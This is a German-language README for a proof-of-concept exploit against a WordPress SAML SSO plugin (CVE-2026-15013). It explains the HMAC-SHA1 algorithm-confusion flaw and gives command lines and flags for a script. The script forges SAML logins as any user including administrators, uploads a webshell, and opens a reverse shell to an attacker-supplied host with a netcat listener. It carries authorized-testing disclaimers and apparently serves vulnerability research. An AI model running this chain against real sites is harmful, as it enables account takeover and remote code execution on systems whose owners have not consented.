
Exploit für CVE-2026-15013: nicht authentifizierte SAML-Authentifizierungsumgehung mittels Algorithmus-Verwechslung. Fälscht SAML-Antworten, um Admin-Zugriff zu erlangen und Webshell/Reverse-Shell zu deployen. Für autorisiertes Testen.
Proof-of-concept für CVE-2026-15013: nicht authentifizierter Authentifizierungs-Bypass über Signaturalgorithmus-Verwechslung (HMAC-SHA1) im miniOrange SAML Single Sign On – SSO Login WordPress-Plugin (Versionen bis einschließlich 5.4.3).
Nur autorisierte Tests. Verwenden Sie diesen Code ausschließlich auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben. Unbefugter Zugriff auf Computersysteme ist illegal.
| Rolle | |
|---|---|
| Schwachstellen-Entdecker | lhking (auf dem CVE-Eintrag genannt) |
| CVE / CNA | Wordfence |
| Dieses Repository | Unabhängige Labor-Reproduktion / PoC-Automatisierung (nicht die ursprüngliche Entdeckung) |
CVE-Eintrag: https://www.cve.org/CVERecord?id=CVE-2026-15013
Mo_SAML_Utilities::mo_saml_cast_key() vertraut dem SignatureMethod-Algorithmus aus der angreiferkontrollierten SAMLResponse. Wenn dieser auf HMAC-SHA1 gesetzt ist, interpretiert das Plugin den RSA-öffentlichen Schlüssel des IdP als HMAC-Shared-Secret um und verifiziert damit die Signatur. Jeder, der das IdP-Zertifikat lesen kann (häufig öffentliche Metadaten), kann eine gültige Assertion für jeden vorhandenen WordPress-Benutzer fälschen, einschließlich Administratoren.
Behoben in 5.4.4+ (unsichere Algorithmen / HMAC abgelehnt).
9.8 KRITISCH — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
openssl-CLI (für Zertifikat-zu-Public-Key)Abhängigkeiten installieren:
pip install -r requirements.txt
Vollständige Kette (Enumeration, HMAC-Login, Admin, Webshell):
python3 exploit.py -u https://TARGET.example
Optionale Reverse Shell (zuerst Listener starten: nc -lvnp 4444):
python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444
Nur Login (keine Shell):
python3 exploit.py -u https://TARGET.example --no-shell
Manuelle Überschreibungen:
python3 exploit.py -u https://TARGET.example \
--issuer https://idp.example/realms/xxx \
--nameid admin \
-k ./idp-pubkey.pem
exp/shell.php?c=id)--lhostDieses Projekt dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken. Die Autoren und Mitwirkenden sind nicht für Missbrauch verantwortlich. Holen Sie vor dem Testen von Drittsystemen immer eine schriftliche Genehmigung ein. Die ursprüngliche Schwachstelle wurde im Rahmen verantwortungsvoller Offenlegung (Responsible Disclosure) gemeldet; dieses Repository demonstriert ausschließlich die Reproduktion zu Lern- und Abwehrzwecken.
Nur für Forschungszwecke. Keine Gewährleistung.
| Flag | Beschreibung |
|---|
-u, --url | WordPress-Basis-URL (erforderlich) |
-k, --hmac-key | PEM-Public-Key oder Zertifikatsdatei; wenn leer, aus den IdP-Metadaten abrufen |
--issuer | IdP-Issuer überschreiben |
--acs | ACS-URL überschreiben |
--nameid | Einen einzelnen WordPress-Benutzernamen erzwingen |
--lhost / --lport | Reverse-Shell-Rückruf (Standardport 4444) |
--no-shell | Nach der Admin-Sitzung stoppen |
--no-reverse | Shell hochladen, aber Reverse-Shell nicht auslösen |